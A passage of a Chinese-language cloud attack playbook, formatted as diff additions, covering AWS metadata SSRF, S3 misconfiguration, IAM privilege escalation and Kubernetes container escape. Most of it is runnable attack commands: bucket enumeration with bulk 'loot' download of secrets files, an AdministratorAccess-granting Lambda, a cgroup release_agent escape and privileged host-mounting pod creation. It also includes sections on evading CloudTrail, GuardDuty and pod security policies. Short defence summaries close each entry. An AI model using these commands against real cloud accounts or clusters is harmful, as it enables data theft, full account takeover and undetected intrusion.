+ **利用方法:** 攻击链:(1)发现SSRF漏洞(URL参数、Webhook、文件导入等入口);(2)请求http://169.254.169.254/latest/meta-data/确认云环境;(3)获取IAM角色名:/iam/security-credentials/;(4)获取临时凭据(AccessKeyId+SecretAccessKey+Token);(5)使用AWS CLI配置凭据并枚举权限;(6)根据权限进行S3数据导出、密钥提取、IAM提权或EC2实例接管。
136
+
137
+ **防御措施:** 防御措施:(1)强制启用IMDSv2(aws ec2 modify-instance-metadata-options --http-tokens required);(2)修复SSRF漏洞:URL白名单/禁止内网地址;(3)IAM角色最小权限原则;(4)使用VPC终端节点限制IMDS访问;(5)启用GuardDuty检测异常API调用;(6)不在user-data中存储敏感信息;(7)使用IMDSv2的hop limit=1限制容器穿透。
138
+
139
+ ---
140
+
141
+ ### S3存储桶配置错误利用 `cloud-s3-misconfig`
142
+ _利用AWS S3存储桶的访问控制配置错误(公开读/写/列举)获取敏感数据或植入恶意文件。常见于静态网站托管、日志存储和备份桶,可能导致数据泄露、网站篡改或供应链攻击。_
143
+ 子类:**S3安全** · tags: `云安全` `S3` `AWS` `配置错误` `数据泄露`
144
+
145
+ **前置条件:**
146
+ - 已知目标S3桶名
147
+ - AWS CLI或HTTP访问
148
+
149
+ **攻击链:**
150
+
151
+ **1. S3桶名枚举**
152
+ > 通过域名变体、DNS记录和前端代码发现目标S3存储桶
153
+ ```
154
+ # 基于域名猜测桶名
155
+ for prefix in "" "www-" "dev-" "staging-" "backup-" "logs-" "assets-" "static-"; do
156
+ for suffix in "" "-prod" "-dev" "-staging" "-backup" "-data" "-assets"; do
157
+ bucket="${prefix}{COMPANY}${suffix}"
158
+ aws s3 ls "s3://$bucket" --no-sign-request 2>/dev/null && echo "PUBLIC: $bucket"
159
+ done
160
+ done
161
+
162
+ # DNS CNAME检查
163
+ dig +short CNAME {TARGET} | grep s3
164
+
165
+ # 从前端资源URL发现
166
+ curl -s "https://{TARGET}" | grep -oP "https?://[^"]+\.s3[^"]*amazonaws\.com[^"]+"
167
+ ```
168
+ **语法解析:**
169
+ - `--no-sign-request` — 不使用AWS凭据——测试匿名访问 _parameter_
170
+ - `.s3.amazonaws.com` — S3桶的标准URL格式 _domain_
171
+ - `CNAME` — 检查域名是否指向S3桶 _keyword_
172
+
173
+ **2. 权限枚举**
174
+ > 测试S3桶的匿名列举、读取、写入权限和策略配置
175
+ ```
176
+ # 测试列举权限
177
+ aws s3 ls "s3://{BUCKET}" --no-sign-request
178
+
179
+ # 测试读取权限
180
+ aws s3 cp "s3://{BUCKET}/index.html" /tmp/test --no-sign-request 2>/dev/null && echo "READ OK"
181
+
182
+ # 测试写入权限
183
+ echo "security-test" > /tmp/test.txt
184
+ aws s3 cp /tmp/test.txt "s3://{BUCKET}/security-test.txt" --no-sign-request 2>/dev/null && echo "WRITE OK"
185
+
186
+ # 检查Bucket Policy
187
+ aws s3api get-bucket-policy --bucket {BUCKET} --no-sign-request 2>/dev/null | jq
188
+
189
+ # 检查ACL
190
+ aws s3api get-bucket-acl --bucket {BUCKET} --no-sign-request 2>/dev/null | jq
191
+ ```
192
+ **语法解析:**
193
+ - `get-bucket-policy` — 获取桶策略文档(定义了谁能做什么) _command_
194
+ - `get-bucket-acl` — 获取桶访问控制列表 _command_
195
+ - `s3 cp` — S3文件复制命令 _command_
196
+
197
+ **3. 敏感数据搜索**
198
+ > 枚举桶中所有文件并定向搜索下载敏感文件
199
+ ```
200
+ # 递归列举所有文件
201
+ aws s3 ls "s3://{BUCKET}" --recursive --no-sign-request | tee s3_listing.txt
202
+
203
+ # 搜索敏感文件
204
+ grep -iE "\.(sql|bak|env|key|pem|pfx|p12|csv|xls|doc|pdf|config|yml|json|log|dump)" s3_listing.txt
205
+
206
+ # 下载关键文件
207
+ for ext in .env .sql .bak .key .pem config.yml database.json; do
208
+ aws s3 cp "s3://{BUCKET}/$ext" ./loot/ --recursive --exclude "*" --include "*$ext" --no-sign-request 2>/dev/null
209
+ done
210
+
211
+ # 搜索备份数据库
212
+ aws s3 ls "s3://{BUCKET}" --recursive --no-sign-request | grep -iE "dump|backup|export" | head -20
213
+ ```
214
+ **语法解析:**
215
+ - `--recursive` — 递归列举所有子目录 _parameter_
216
+ - `.sql|.bak|.env|.key|.pem` — 常见敏感文件扩展名 _technique_
217
+ - `--include "*$ext"` — 仅下载匹配特定后缀的文件 _parameter_
218
+
219
+ **4. 验证利用(静态网站篡改/XSS)**
220
+ > 测试S3网站桶的写入权限并验证是否可托管自定义HTML(可导致XSS/篡改)
221
+ ```
222
+ # 如果桶托管了静态网站且可写
223
+ # 检查是否为网站桶
224
+ aws s3api get-bucket-website --bucket {BUCKET} --no-sign-request 2>/dev/null
225
+
226
+ # 上传XSS测试页面(无害)
227
+ echo '<html><body><h1>Security Test</h1></body></html>' > /tmp/security-test.html
228
+ aws s3 cp /tmp/security-test.html "s3://{BUCKET}/security-test.html" \
229
+ --content-type "text/html" --no-sign-request
230
+
231
+ # 验证是否可访问
232
+ curl -s "https://{BUCKET}.s3.amazonaws.com/security-test.html" | head
233
+
234
+ # 清理测试文件
235
+ aws s3 rm "s3://{BUCKET}/security-test.html" --no-sign-request
236
+ ```
237
+ **语法解析:**
238
+ - `get-bucket-website` — 检查桶是否配置为静态网站托管 _command_
239
+ - `--content-type "text/html"` — 设置MIME类型确保浏览器渲染HTML _parameter_
240
+
241
+ **WAF/EDR 绕过变体:**
242
+
243
+ **绕过S3访问限制**
244
+ > 通过区域端点变换、路径格式和已认证用户组绕过S3访问限制
245
+ ```
246
+ # 使用不同区域端点
247
+ aws s3 ls "s3://{BUCKET}" --region us-west-2 --no-sign-request
248
+
249
+ # 使用路径格式(可能绕过某些WAF)
250
+ curl -s "https://s3.amazonaws.com/{BUCKET}/"
251
+ curl -s "https://s3.{REGION}.amazonaws.com/{BUCKET}/"
252
+
253
+ # 使用已认证但不同账号的AWS凭据
254
+ # (某些桶策略允许"AuthenticatedUsers"组)
255
+ aws s3 ls "s3://{BUCKET}" --profile any-aws-account
256
+
257
+ # Signed URL泄露搜索
258
+ # 在Google/GitHub搜索: "s3.amazonaws.com/{BUCKET}" "X-Amz-Signature"
259
+ ```
260
+ **语法解析:**
261
+ - `s3.{REGION}.amazonaws.com` — 区域特定的S3端点 _domain_
262
+ - `AuthenticatedUsers` — AWS预定义组——任何已认证的AWS用户 _concept_
263
+ - `X-Amz-Signature` — S3预签名URL的签名参数 _header_
264
+
265
+
266
+ **概述:** S3存储桶配置错误是云安全中最常见的漏洞之一。据统计,约5-10%的S3桶存在某种形式的公开访问配置错误。历史上多次重大数据泄露事件(如NSA承包商、Twitch源码、Facebook用户数据)都涉及S3配置不当。攻击者通过桶名枚举、DNS分析和前端代码审计发现目标桶后,可能获取数据库备份、API密钥、用户PII等敏感资产。
267
+
268
+ **漏洞原理:** 漏洞根因:(1)S3桶默认公开访问(2023年后AWS已默认阻止,但旧桶未迁移);(2)桶策略使用了Principal:"*"(允许匿名)或"AWS":"*"(允许任意AWS用户);(3)ACL配置了AllUsers或AuthenticatedUsers组的READ/WRITE权限;(4)开发者为方便将备份/日志桶设为公开但忘记关闭;(5)桶名可预测(如company-backup, company-prod-data);(6)预签名URL泄露在代码或日志中。
269
+
270
+ **利用方法:** 攻击流程:(1)通过域名变体生成桶名候选列表;(2)使用aws s3 ls --no-sign-request批量检测匿名访问;(3)发现可列举的桶后枚举所有文件,重点关注.sql/.bak/.env/.key/.pem等后缀;(4)下载敏感文件并搜索凭据信息;(5)如果桶可写且托管了静态网站,可上传HTML/JS实现存储型XSS或网站篡改;(6)获取的AWS凭据可进一步用于云环境横向移动。
271
+
272
+ **防御措施:** 防御措施:(1)启用S3 Block Public Access(账号级别+桶级别);(2)审计现有桶的ACL和Policy,移除Principal:"*";(3)使用AWS Config规则持续监控S3配置变更;(4)S3桶名使用随机前缀防止枚举;(5)启用S3 Access Logging和CloudTrail审计访问日志;(6)敏感桶启用SSE-KMS加密和VPC端点限制访问来源。
273
+
274
+ ---
275
+
276
+ ### AWS IAM权限提升 `cloud-iam-escalation`
277
+ _在已获取低权限AWS凭据后,利用IAM策略中的过度授权(如iam:PassRole、lambda:CreateFunction等)实现权限提升至管理员。涵盖20+种已知的AWS IAM提权路径。_
278
+ 子类:**IAM提权** · tags: `云安全` `AWS` `IAM` `权限提升` `Privilege Escalation`
279
+
280
+ **前置条件:**
281
+ - 已获取AWS凭据
282
+ - IAM策略存在过度授权
283
+
284
+ **攻击链:**
285
+
286
+ **1. 枚举当前权限**
287
+ > 枚举当前IAM身份的所有权限和策略
288
+ ```
289
+ # 基础身份信息
290
+ aws sts get-caller-identity
291
+
292
+ # 枚举当前用户的策略
293
+ aws iam list-user-policies --user-name {USERNAME}
294
+ aws iam list-attached-user-policies --user-name {USERNAME}
295
+
296
+ # 获取策略详情
297
+ aws iam get-policy-version --policy-arn {POLICY_ARN} --version-id v1 | jq '.PolicyVersion.Document'
298
+
299
+ # 使用enumerate-iam工具自动化
300
+ python3 enumerate-iam.py --access-key {AK} --secret-key {SK}
301
+ ```
302
+ **语法解析:**
303
+ - `get-caller-identity` — 获取当前调用者的ARN和账号ID _command_
304
+ - `list-attached-user-policies` — 列出用户关联的托管策略 _command_
305
+ - `.PolicyVersion.Document` — jq提取策略文档中的权限定义 _function_
306
+
307
+ **2. iam:PassRole + Lambda提权**
308
+ > 利用iam:PassRole和lambda:CreateFunction创建使用高权限角色的Lambda函数实现提权
309
+ ```
310
+ # 创建恶意Lambda函数(需要iam:PassRole + lambda:CreateFunction)
311
+
312
+ # 创建Lambda代码
313
+ cat > /tmp/lambda.py << 'PYEOF'
314
+ import boto3
315
+ def handler(event, context):
316
+ client = boto3.client("iam")
317
+ # 为当前用户附加管理员策略
318
+ client.attach_user_policy(
319
+ UserName="low-priv-user",
320
+ PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
321
+ )
322
+ return {"status": "escalated"}
323
+ PYEOF
324
+
325
+ cd /tmp && zip lambda.zip lambda.py
326
+
327
+ # 创建Lambda并关联高权限角色
328
+ aws lambda create-function \
329
+ --function-name security-test \
330
+ --runtime python3.9 \
331
+ --handler lambda.handler \
332
+ --zip-file fileb:///tmp/lambda.zip \
333
+ --role arn:aws:iam::{ACCOUNT}:role/{HIGH_PRIV_ROLE}
334
+
335
+ # 触发执行
336
+ aws lambda invoke --function-name security-test /tmp/output.json
337
+ ```
338
+ **语法解析:**
339
+ - `iam:PassRole` — 将IAM角色传递给其他服务的权限——提权核心 _keyword_
340
+ - `attach_user_policy` — 为用户附加策略——Lambda中使用高权限角色执行 _function_
341
+ - `AdministratorAccess` — AWS内置管理员策略——全部权限 _value_
342
+
343
+ **3. 其他提权路径**
344
+ > 展示多条IAM提权路径:策略版本覆盖、密钥创建和角色信任策略修改
345
+ ```
346
+ # 路径1: iam:CreatePolicyVersion
347
+ aws iam create-policy-version --policy-arn {POLICY_ARN} \
348
+ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
349
+ --set-as-default
350
+
351
+ # 路径2: iam:CreateAccessKey (为其他用户创建密钥)
352
+ aws iam create-access-key --user-name admin
353
+
354
+ # 路径3: iam:UpdateAssumeRolePolicy + sts:AssumeRole
355
+ aws iam update-assume-role-policy --role-name AdminRole \
356
+ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::{ACCOUNT}:user/low-priv"},"Action":"sts:AssumeRole"}]}'
357
+ aws sts assume-role --role-arn arn:aws:iam::{ACCOUNT}:role/AdminRole --role-session-name escalation
358
+ ```
359
+ **语法解析:**
360
+ - `create-policy-version` — 创建新策略版本——覆盖原有权限定义 _command_
361
+ - `"Action":"*","Resource":"*"` — 全部权限策略——等同于管理员 _json_
362
+ - `update-assume-role-policy` — 修改角色信任策略——允许自己AssumeRole _command_
363
+
364
+ **4. 自动化提权工具**
365
+ > 使用PACU、pmapper和cloudfox自动化发现和利用IAM提权路径
366
+ ```
367
+ # PACU——AWS渗透测试框架
368
+ python3 pacu.py
369
+ # 在PACU中:
370
+ > import_keys {AK} {SK}
371
+ > run iam__enum_permissions
372
+ > run iam__privesc_scan
373
+ > run iam__bruteforce_permissions
374
+
375
+ # pmapper——IAM策略可视化和提权路径分析
376
+ pmapper graph --create
377
+ pmapper analysis --output-type text
378
+ pmapper visualize --filetype png
379
+
380
+ # cloudfox枚举
381
+ cloudfox aws --profile target all-checks
382
+ ```
383
+ **语法解析:**
384
+ - `pacu` — Rhino Security Labs的AWS利用框架 _command_
385
+ - `iam__privesc_scan` — PACU的IAM提权扫描模块 _command_
386
+ - `pmapper` — IAM策略图分析工具 _command_
387
+ - `cloudfox` — Bishop Fox的云安全枚举工具 _command_
388
+
389
+ **WAF/EDR 绕过变体:**
390
+
391
+ **绕过CloudTrail和GuardDuty检测**
392
+ > 通过使用非标准区域、低速操作和会话令牌降低被检测的风险
393
+ ```
394
+ # 使用非标准区域(可能未开启CloudTrail)
395
+ aws iam list-users --region af-south-1
396
+
397
+ # 低速操作避免触发异常检测
398
+ sleep $((RANDOM % 60 + 30)) # 30-90秒随机延迟
399
+
400
+ # 使用AWS服务间调用减少直接API日志
401
+ # 通过Lambda/SSM间接执行而非直接CLI调用
402
+
403
+ # 使用Session Token而非长期凭据
404
+ aws sts get-session-token --duration-seconds 3600
405
+ ```
406
+ **语法解析:**
407
+ - `af-south-1` — 非洲区域——可能未配置完整的CloudTrail _value_
408
+ - `get-session-token` — 获取临时会话令牌减少长期凭据暴露 _command_
409
+
410
+
411
+ **概述:** AWS IAM权限提升是云渗透测试的核心技能。研究表明,大量AWS环境中存在由IAM策略配置不当导致的提权路径。Rhino Security Labs整理了20+种已知的IAM提权方法,涵盖PassRole、策略版本覆盖、角色劫持等多种场景。攻击者获取低权限凭据后(如通过SSRF/代码泄露),可利用这些路径提升为管理员权限。
412
+
413
+ **漏洞原理:** 漏洞根因:(1)IAM策略使用通配符(如iam:*)授予了过多权限;(2)iam:PassRole未限制可传递的角色范围;(3)IAM策略版本管理允许低权限用户创建新版本覆盖原有限制;(4)AssumeRole的信任策略配置过于宽松;(5)多个低危权限组合后可形成提权链(如创建Lambda+PassRole=管理员);(6)缺乏持续的IAM权限审计和最小权限实践。
414
+
415
+ **利用方法:** 提权流程:(1)使用enumerate-iam或PACU枚举当前用户所有有效权限;(2)对照已知提权路径列表检查是否存在可利用的权限组合;(3)最常见路径:PassRole+CreateFunction(Lambda)/CreateEC2/CreateGlueJob;(4)策略类路径:CreatePolicyVersion/PutUserPolicy/AttachUserPolicy;(5)凭据类路径:CreateAccessKey/CreateLoginProfile/UpdateLoginProfile;(6)执行提权操作后用get-caller-identity确认权限变更。
416
+
417
+ **防御措施:** 防御措施:(1)实施IAM最小权限原则——使用IAM Access Analyzer识别和删除多余权限;(2)限制iam:PassRole的Resource为特定角色ARN而非*;(3)使用SCP(服务控制策略)在组织级别阻止高危操作;(4)启用IAM Credential Report定期审计;(5)使用AWS Config规则持续检测高危IAM配置;(6)实施MFA强制和会话策略限制。
418
+
419
+ ---
420
+
421
+ ### Kubernetes容器逃逸 `cloud-k8s-escape`
422
+ _在已获取Kubernetes Pod Shell的前提下,利用配置错误(特权容器、挂载宿主机路径、ServiceAccount高权限)实现容器逃逸,进而控制宿主机或整个Kubernetes集群。_
423
+ 子类:**容器安全** · tags: `云安全` `Kubernetes` `容器逃逸` `Docker` `特权容器`
424
+
425
+ **前置条件:**
426
+ - 已获取Pod内Shell
427
+ - Pod存在配置错误
428
+
429
+ **攻击链:**
430
+
431
+ **1. 容器环境侦察**
432
+ > 确认容器环境并检查特权模式、SA令牌和内核能力
433
+ ```
434
+ # 确认在容器中
435
+ cat /proc/1/cgroup 2>/dev/null | grep -E "docker|kubepods"
436
+ ls /.dockerenv 2>/dev/null && echo "IN DOCKER"
437
+ env | grep KUBERNETES
438
+
439
+ # 检查ServiceAccount令牌
440
+ ls /var/run/secrets/kubernetes.io/serviceaccount/
441
+ cat /var/run/secrets/kubernetes.io/serviceaccount/token
442
+
443
+ # 检查特权模式
444
+ ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" && ip link del dummy0
445
+ fdisk -l 2>/dev/null | head
446
+ capsh --print 2>/dev/null | grep "Current"
447
+ ```
448
+ **语法解析:**
449
+ - `/proc/1/cgroup` — cgroup路径判断是否在容器中 _path_
450
+ - `/.dockerenv` — Docker容器标志文件 _path_
451
+ - `serviceaccount/token` — K8s自动挂载的SA JWT令牌 _path_
452
+ - `capsh --print` — 查看Linux Capabilities(内核能力) _command_
453
+
454
+ **2. 特权容器逃逸**
455
+ > 利用特权容器的磁盘挂载和cgroup release_agent实现宿主机命令执行
456
+ ```
457
+ # 方法1:挂载宿主机根文件系统
458
+ mkdir -p /mnt/host
459
+ mount /dev/sda1 /mnt/host
460
+ chroot /mnt/host /bin/bash
461
+
462
+ # 方法2:通过cgroup逃逸(CVE-2022-0492)
463
+ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
464
+ mkdir /tmp/cgrp/x
465
+ echo 1 > /tmp/cgrp/x/notify_on_release
466
+ host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
467
+ echo "$host_path/cmd" > /tmp/cgrp/release_agent
468
+ echo "#!/bin/sh" > /cmd
469
+ echo "id > /output" >> /cmd
470
+ chmod a+x /cmd
471
+ echo $$ > /tmp/cgrp/x/cgroup.procs
472
+ ```
473
+ **语法解析:**
474
+ - `mount /dev/sda1` — 挂载宿主机磁盘——特权容器可直接访问设备 _command_
475
+ - `chroot` — 切换根目录到宿主机文件系统 _command_
476
+ - `release_agent` — cgroup的release_agent在宿主机上下文中执行 _keyword_
477
+ - `notify_on_release` — 启用cgroup释放通知触发release_agent _keyword_
478
+
479
+ **3. 利用ServiceAccount接管集群**
480
+ > 利用Pod中的ServiceAccount令牌通过K8s API枚举权限和获取集群Secrets
481
+ ```
482
+ # 读取SA Token
483
+ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
484
+ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
485
+ K8S=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
486
+
487
+ # 枚举权限
488
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
489
+ "$K8S/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
490
+ -X POST -H "Content-Type: application/json" \
491
+ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"default","verb":"create","resource":"pods"}}}'
492
+
493
+ # 列出所有Pods
494
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" "$K8S/api/v1/pods"
495
+
496
+ # 列出Secrets
497
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" "$K8S/api/v1/secrets"
498
+ ```
499
+ **语法解析:**
500
+ - `KUBERNETES_SERVICE_HOST` — K8s自动注入的API Server地址 _variable_
501
+ - `SelfSubjectAccessReview` — K8s权限自检API _keyword_
502
+ - `/api/v1/secrets` — K8s Secrets API——可能包含其他服务凭据 _path_
503
+
504
+ **4. 创建特权Pod反弹Shell**
505
+ > 创建挂载宿主机根目录的特权Pod实现容器逃逸
506
+ ```
507
+ # 如果SA有create pods权限
508
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
509
+ "$K8S/api/v1/namespaces/default/pods" \
510
+ -X POST -H "Content-Type: application/json" \
511
+ -d '{
512
+ "apiVersion": "v1",
513
+ "kind": "Pod",
514
+ "metadata": {"name": "security-test-pod"},
515
+ "spec": {
516
+ "containers": [{
517
+ "name": "test",
518
+ "image": "alpine",
519
+ "command": ["/bin/sh", "-c", "apk add curl; sleep 3600"],
520
+ "securityContext": {"privileged": true},
521
+ "volumeMounts": [{"name": "host", "mountPath": "/host"}]
522
+ }],
523
+ "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
524
+ }
525
+ }'
526
+ ```
527
+ **语法解析:**
528
+ - `"privileged": true` — 特权容器——拥有宿主机全部Linux Capabilities _json_
529
+ - `"hostPath": {"path": "/"}` — 挂载宿主机根目录到容器内 _json_
530
+ - `security-test-pod` — 使用无害名称(非hack) _value_
531
+
532
+ **WAF/EDR 绕过变体:**
533
+
534
+ **绕过PodSecurityPolicy/OPA**
535
+ > 通过切换命名空间、使用临时容器和CronJob绕过Pod安全策略
536
+ ```
537
+ # 使用非default命名空间(可能未应用PSP)
538
+ curl -s "$K8S/api/v1/namespaces" -H "Authorization: Bearer $TOKEN" --cacert $CACERT | jq '.items[].metadata.name'
539
+
540
+ # 使用ephemeral容器(可能绕过PSP)
541
+ curl -s "$K8S/api/v1/namespaces/default/pods/{POD}/ephemeralcontainers" \
542
+ -X PATCH -H "Content-Type: application/strategic-merge-patch+json" \
543
+ -d '{"spec":{"ephemeralContainers":[{"name":"debug","image":"alpine","command":["sh"]}]}}'
544
+
545
+ # 使用CronJob而非Pod(某些策略不覆盖)
546
+ curl -s "$K8S/apis/batch/v1/namespaces/default/cronjobs" ...
547
+ ```
548
+ **语法解析:**
549
+ - `ephemeralContainers` — K8s临时容器——调试特性可能绕过安全策略 _keyword_
550
+ - `CronJob` — 定时任务资源——某些PSP未覆盖此资源类型 _keyword_
551
+
552
+
553
+ **概述:** Kubernetes容器逃逸是云原生环境中最严重的安全威胁之一。当攻击者通过Web漏洞(如RCE/SSRF)获取Pod内的Shell后,如果Pod存在配置错误(特权容器、hostPath挂载、高权限ServiceAccount),攻击者可逃逸到宿主机并进一步接管整个K8s集群。MITRE ATT&CK for Containers框架详细描述了容器环境的攻击矩阵。
554
+
555
+ **漏洞原理:** 漏洞根因:(1)Pod以privileged:true运行(拥有全部Linux capabilities);(2)挂载了宿主机路径(hostPath)如/、/var/run/docker.sock、/proc等;(3)ServiceAccount绑定了cluster-admin或过度权限;(4)未启用PodSecurityPolicy/PodSecurityStandard限制;(5)K8s API Server未启用RBAC或配置了过宽的ClusterRoleBinding;(6)容器使用root用户运行。
556
+
557
+ **利用方法:** 攻击路径:(1)通过Web RCE获取Pod Shell后先确认容器环境(cgroup/dockerenv);(2)检查是否为特权容器(尝试mount/fdisk/capsh)——是则直接挂载宿主机磁盘逃逸;(3)检查ServiceAccount权限——如有create pods则创建特权Pod逃逸;(4)如有list secrets则获取集群内所有密钥;(5)如果SA权限不足,检查是否挂载了docker.sock(可创建特权容器);(6)利用宿主机访问进一步控制整个K8s集群。
558
+
559
+ **防御措施:** 防御措施:(1)启用PodSecurityStandard(restricted级别)禁止特权容器;(2)禁止hostPath挂载,使用PV/PVC管理存储;(3)ServiceAccount最小权限——禁止automountServiceAccountToken除非需要;(4)使用NetworkPolicy限制Pod网络访问;(5)部署Falco等运行时安全工具检测异常行为;(6)使用seccomp/AppArmor/SELinux限制容器系统调用;(7)不要以root运行容器(runAsNonRoot:true)。
560
+
561
+ ---